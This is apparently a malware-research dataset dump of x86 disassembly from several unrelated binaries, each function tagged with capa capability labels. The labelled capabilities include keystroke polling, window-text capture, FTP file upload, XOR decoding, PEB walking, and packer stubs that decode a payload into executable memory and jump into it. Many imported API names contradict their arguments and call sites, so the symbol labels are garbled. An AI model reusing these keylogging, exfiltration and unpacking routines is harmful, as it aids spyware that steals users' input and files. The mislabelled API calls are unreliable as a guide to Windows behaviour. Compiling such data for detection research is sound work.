joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405aa4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x405c38
call sub.KERNEL32.DLL_LeaveCriticalSection
mov esi, eax
test esi, esi
je 0x405b0c
push 0x405c48
push esi
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x405b0c
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x405b0c
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_MulDiv
jmp 0x405c2e
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x405b4c
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x405c2e
mov eax, dword [ebp - 4]
add eax, 2
call fcn.00405a90
mov esi, eax
cmp byte [esi], 0
je 0x405c2e
lea eax, [esi + 1]
call fcn.00405a90
mov esi, eax
cmp byte [esi], 0
je 0x405c2e
jmp 0x405b52
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_MulDiv
jmp 0x405c11
lea eax, [esi + 1]
call fcn.00405a90
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x405c2e
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_MulDiv
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov esi, eax
cmp esi, 0xffffffff
je 0x405c2e
push esi
call sub.KERNEL32.DLL_GlobalFindAtomA
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_ReadFile
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x405c2e
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_MulDiv
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_ReadFile
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x405b70
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_MulDiv
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405c5c
Capabilities:
Extract resource via kernel32 functions
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_InitializeCriticalSection
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e8c
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x405cdf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e8c
push 0x80000002
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x405cdf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ea8
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
jne 0x405d68
xor eax, eax
push ebp
push 0x405d61
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405aa4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x405d46
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405ec8
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x405d46
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d68
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_TranslateMessage
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_MulDiv
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_LockResource
push eax
call sub.KERNEL32.DLL_GlobalUnlock
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405e82
cmp byte [ebp - 0xd], 0
jne 0x405daf
cmp byte [ebp - 0x12], 0
je 0x405e82
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ReadFile
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405dc8
dec ebx
cmp byte [ebx], 0x2e
je 0x405dd7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405dc7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405e82
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405e14
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_MulDiv
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_MoveFileA
mov esi, eax
test esi, esi
jne 0x405e82
cmp byte [ebp - 0xd], 0
je 0x405e82
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_MulDiv
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_MoveFileA
mov esi, eax
test esi, esi
jne 0x405e82
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_MulDiv
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_MoveFileA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408652
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.00404b88
push eax
mov eax, esi
call fcn.00404d88
push eax
mov eax, ebx
call fcn.00404b88
push eax
mov eax, ebx
call fcn.00404d88
push eax
push 0
push 0x400
call sub.user32.dll_GetKeyState
sub eax, 2
pop esi
pop ebx
ret

Function at 0x408664
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.00404b88
push eax
mov eax, esi
call fcn.00404d88
push eax
mov eax, ebx
call fcn.00404b88
push eax
mov eax, ebx
call fcn.00404d88
push eax
push 1
push 0x400
call sub.user32.dll_GetKeyState
sub eax, 2
pop esi
pop ebx
ret

Function at 0x4086b4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
push ebx
push edi
push ebx
push esi
push 1
push 0x400
call sub.user32.dll_GetKeyState
sub eax, 2
pop edi
pop esi
pop ebx
ret

Function at 0x4086c1
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
push ebx
push edi
push ebx
push esi
push 1
push 0x400
call sub.user32.dll_GetKeyState
sub eax, 2
pop edi
pop esi
pop ebx
ret

Function at 0x408ca0
Capabilities:
Get keyboard layout

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
or eax, 0xffffffff
mov esi, ebx
and esi, 3
cmp esi, 2
ja 0x408cf3
mov edx, ebx
and edx, 0xf0
cmp edx, 0x40
ja 0x408cf3
push 0
push 0x80
push 3
push 0
mov eax, ebx
and eax, 0xf0
shr eax, 4
mov eax, dword [eax*4 + 0x46b16c]
push eax
mov eax, dword [esi*4 + 0x46b160]
push eax
mov eax, edi
call fcn.00404d88
push eax
call sub.user32.dll_GetKeyboardLayoutList
pop edi
pop esi
pop ebx
ret

Function at 0x408cf8
Capabilities:
Get keyboard layout

Disassembly:
push ebx
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, ebx
call fcn.00404d88
push eax
call sub.user32.dll_GetKeyboardLayoutList
pop ebx
ret
Function at 0x40ca00
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cad6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404960
lea eax, [ebp - 8]
call fcn.00404dd8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404d88
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cac0
mov eax, ebx
call fcn.00402724
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cab9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404d88
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40caa3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cae8
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40caa3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cac0
mov eax, dword [ebp - 0x10]
call fcn.00402744
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cadd
lea eax, [ebp - 8]
call fcn.004048c8
ret

Function at 0x40cec0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x40cf56
cmp byte [esi], 0
je 0x40cf56
test ebp, ebp
je 0x40cf56
cmp byte [ebp], 0
je 0x40cf56
mov eax, esi
call fcn.00409120
mov dword [esp], eax
mov eax, ebp
call fcn.00409120
mov edi, eax
mov edx, ebp
mov eax, esi
call fcn.004092b8
mov ebx, eax
jmp 0x40cf43
mov edx, ebx
sub edx, esi
mov eax, esi
call fcn.0040cb88
mov byte [esp + 4], al
cmp byte [esp + 4], 2
je 0x40cf2f
push edi
push ebp
push edi
push ebx
push 0
push 0x400
call sub.user32.dll_GetKeyState
cmp eax, 2
je 0x40cf56
cmp byte [esp + 4], 1
jne 0x40cf37
inc ebx
inc ebx
mov edx, ebp
mov eax, ebx
call fcn.004092b8
mov ebx, eax
test ebx, ebx
je 0x40cf54
mov eax, ebx
sub eax, esi
mov edx, dword [esp]
sub edx, eax
cmp edi, edx
jbe 0x40cf04
xor ebx, ebx
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40d978
Capabilities:
Get keyboard layout

Disassembly:
push ebx
push esi
test dl, dl
je 0x40d986
add esp, 0xfffffff0
call fcn.00403e18
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call fcn.00403adc
mov dword [esi + 0xc], 0xffff
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [esi + 0x10], eax
push 0
push 0
push 0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], 0xffffffff
mov dl, 1
mov eax, dword [0x4082f0]
call fcn.00403adc
mov dword [esi + 0x20], eax
mov eax, esi
test bl, bl
je 0x40d9e5
call fcn.00403e70
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
ret
Function at 0x41c064
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 4], edx
call sub.user32.dll_GetWindowLongA
mov edx, dword [0x46cc04]
cmp eax, dword [edx]
jne 0x41c08b
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call dword [ebx + 8]
jmp 0x41c19e
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x41c186
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x46d864
call sub.user32.dll_GetMenuItemCount
xor eax, eax
push ebp
push 0x41c168
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x46b408], 0
jne 0x41c0db
mov dl, 1
mov eax, dword [0x4130cc]
call fcn.00403adc
mov dword [0x46b408], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0xc]
mov eax, dword [0x46b408]
call fcn.00415628
call fcn.0041bbf8
cmp word [0x46b3f6], 0
je 0x41c10e
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [0x46b3f8]
call dword [0x46b3f4]
push 0x46d864
call sub.user32.dll_PostQuitMessage
xor eax, eax
push ebp
push 0x41c149
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetForegroundWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41c150
push 0x46d864
call sub.user32.dll_GetMenuItemCount
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41c1fc
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffffd8
mov esi, eax
mov eax, dword [esi + 4]
mov dword [esp + 4], eax
call sub.user32.dll_GetWindowLongA
mov edx, dword [0x46cc04]
cmp eax, dword [edx]
jne 0x41c271
xor ebx, ebx
mov eax, dword [0x46d84c]
mov dword [esp + 8], eax
cmp ebx, 2
jne 0x41c23b
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call fcn.0040714c
push pe_nt_image_headers32
push 0x3e8
push 0
lea eax, [esp + 0x10]
push eax
push 2
call fcn.00407134
mov ebx, eax
cmp ebx, 0xffffffff
setne dl
mov eax, esi
call fcn.0041c024
cmp ebx, 1
jne 0x41c26b
xor eax, eax
call fcn.0041bc1c
test ebx, ebx
jne 0x41c224
jmp 0x41c27d
push 0xffffffffffffffff
mov eax, dword [esp + 8]
push eax
call sub.user32.dll_SetForegroundWindow
push esp
mov eax, dword [esp + 8]
push eax
call sub.user32.dll_GetWindowTextA
cmp eax, 1
sbb edx, edx
inc edx
mov eax, esi
call fcn.0041c024
mov eax, dword [esp]
add esp, 0x28
pop esi
pop ebx
ret

Function at 0x41e5c0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41e5c6
ret
Function at 0x4213b8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
mov edx, ebx
mov ecx, dword [ebp + 8]
mov eax, esi
call fcn.00421268
xor eax, eax
mov dword [ebp - 8], eax
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x421455
push dword fs:[eax]
mov dword fs:[eax], esp
test edi, edi
je 0x42140c
push 0
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_EnumWindows
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_EnableMenuItem
push 0
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 8]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_DefFrameProcA
test eax, eax
setne byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42145c
cmp dword [ebp - 8], 0
je 0x42144b
push 0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 0xc]
push eax
call sub.user32.dll_CharNextA
ret
Function at 0x4585c8
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4585d0
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x4587c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x4587d8
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.0040491c
lea ecx, [ebp - 0x10]
mov edx, 0x4587ec
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.0040491c
lea ecx, [ebp - 0x14]
mov edx, 0x458804
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.0040491c
lea ecx, [ebp - 0x18]
mov edx, 0x458820
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.0040491c
lea ecx, [ebp - 0x1c]
mov edx, 0x45883c
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.0040491c
lea ecx, [ebp - 0x24]
mov edx, 0x458854
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.004086d4
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408ab4
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x45886c
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x28]
call fcn.00455470
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x45887c
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x2c]
call fcn.00455470
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x458894
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408ab4
inc eax
je 0x458765
lea ecx, [ebp - 0x34]
mov edx, 0x458894
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x34]
call fcn.00408a78
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040a0cc
fstp qword [ebp - 0x3c]
wait
call fcn.0040a490
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x458780
lea ecx, [ebp - 0x40]
mov edx, 0x458894
mov eax, esi
call fcn.00456358
mov eax, dword [ebp - 0x40]
call fcn.00455470
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x4588a4
mov eax, esi
call fcn.00456358
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.0040491c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4587c9
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004048ec
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.004048ec
ret
Function at 0x469744
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x469810
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x469828
push ebx
push 0x469828
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00404c48
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.004031ec
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], di
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
call fcn.00409004
mov eax, dword [ebp - 0x5c]
call fcn.00404d88
push eax
push 0
push 0x30
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d88
push eax
push 0
call sub.user32.dll_GetKeyboardState
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
mov eax, dword [ebp - 0x58]
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, dword [ebp - 0x54]
push eax
call sub.user32.dll_GetKeyNameTextA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469817
lea eax, [ebp - 0x5c]
call fcn.004048c8
lea eax, [ebp - 4]
call fcn.004048c8
ret

Function at 0x469860
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d78
mov eax, dword [ebp - 8]
call fcn.00404d78
mov eax, dword [ebp - 0xc]
call fcn.00404d78
mov eax, dword [ebp + 0x10]
call fcn.00404d78
mov eax, dword [ebp + 0xc]
call fcn.00404d78
mov eax, dword [ebp + 8]
call fcn.00404d78
xor eax, eax
push ebp
push 0x4699bb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x469984
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0x4699cc
push 0
push 0x4699d0
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
jne 0x4698e3
mov byte [ebp - 0xd], 0
jmp 0x4698e7
mov byte [ebp - 0xd], 1
push 0
push 0
push 1
mov eax, dword [ebp - 0xc]
call fcn.00404d88
push eax
mov eax, dword [ebp - 8]
call fcn.00404d88
push eax
push 0x15
mov eax, dword [ebp - 4]
call fcn.00404d88
push eax
push ebx
call sub.wininet.dll_InternetConnectA
mov esi, eax
test esi, esi
jne 0x46991c
mov byte [ebp - 0xd], 0
jmp 0x469973
mov byte [ebp - 0xd], 1
push 0
push 1
push 0x4699e0
push dword [ebp + 8]
push 0x4699e0
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404c48
mov eax, dword [ebp - 0x14]
call fcn.00404d88
push eax
mov eax, dword [ebp + 0x10]
call fcn.00404d88
push eax
push esi
call sub.wininet.dll_FtpPutFileA
test eax, eax
jne 0x469963
mov byte [ebp - 0xd], 0
jmp 0x469967
mov byte [ebp - 0xd], 1
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46998b
mov bl, byte [ebp - 0xd]
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40ea60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40ea6f
pop dword [ebp - 0x3c]
mov eax, 0x40ea6f
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xb74910cd
sub dword [ebp - 0x4c], 0x68f6cb82
mov dword [ebp - 0x48], 0xb667f220
sub dword [ebp - 0x48], 0x8434a5db
mov dword [ebp - 0x44], 0x3d9b3f47
sub dword [ebp - 0x44], 0xf14efb19
mov dword [ebp - 0x40], 0xe555ae2d
add dword [ebp - 0x40], 0x1aaa51d3
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x8e03e706
add eax, 0x723e496e
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x11a872bd
add dword [ebp - 0x4c], 0x62c9f699
mov dword [ebp - 0x48], 0xe1fc568
sub dword [ebp - 0x48], 0xccb363f3
mov dword [ebp - 0x44], 0xacda21e7
add dword [ebp - 0x44], 0xb6954a85
mov dword [ebp - 0x40], 0x54d741cb
sub dword [ebp - 0x40], 0x54d741cb
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x32388640
sub eax, 0x31f6551c
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3cff7
push 0
call eax
mov ecx, 0x5c4b895e
add ecx, 0xa3b4bbbd
mov ebx, eax
mov edi, 0x4d7ad2d6
add edi, 0xb2c8712a
add edi, dword [ebp - 0x3c]
mov edx, 0x2dc1c6bc
sub edx, 0xefd2fd07
sub dword [ebp - 4], ebx
mov esi, dword [edi]
add dword [ebp - 0x1c], edi
xor esi, edx
sub dword [ebp - 0x1c], 0xff868b58
mov dword [ebx], esi
add dword [ebp - 0xc], ecx
add ebx, 4
add edi, 0x6e1653fb
add edi, 0x91e9ac09
loop 0x40eb8c
add eax, 0xa5fc0cd3
add eax, 0x5a04fa6c
mov ebx, eax
add eax, 0x4c73ce43
add eax, 0xb38c31c2
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10056ccc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10056cdb
pop dword [ebp - 0x28]
mov eax, 0x86886b0e
add eax, 0x897d01cd
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x477da
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xc81df9cb
add ecx, 0x37e25feb
xor edx, edx
add edx, eax
mov ebx, 0x5f4c911c
sub ebx, 0x4f341f1c
add ebx, dword [ebp - 0x28]
mov edi, 0xd2a2d145
sub dword [ebp - 0xc], esi
mov esi, dword [ebx]
sub dword [ebp - 4], esi
add esi, edi
add dword [ebp - 8], 0xd8008b04
mov dword [edx], esi
xor dword [ebp - 8], 0x12e25b67
add edx, 0x297d3cc0
add edx, 0xd682c344
add ebx, 0xa42d121b
add ebx, 0x5bd2ede9
loop 0x10056d31
add eax, 0xa11909b
sub eax, 0xa1036f0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xff79e830
sub ecx, 0xef79e830
add ecx, dword [ebp - 0x28]
call ebx
leave
ret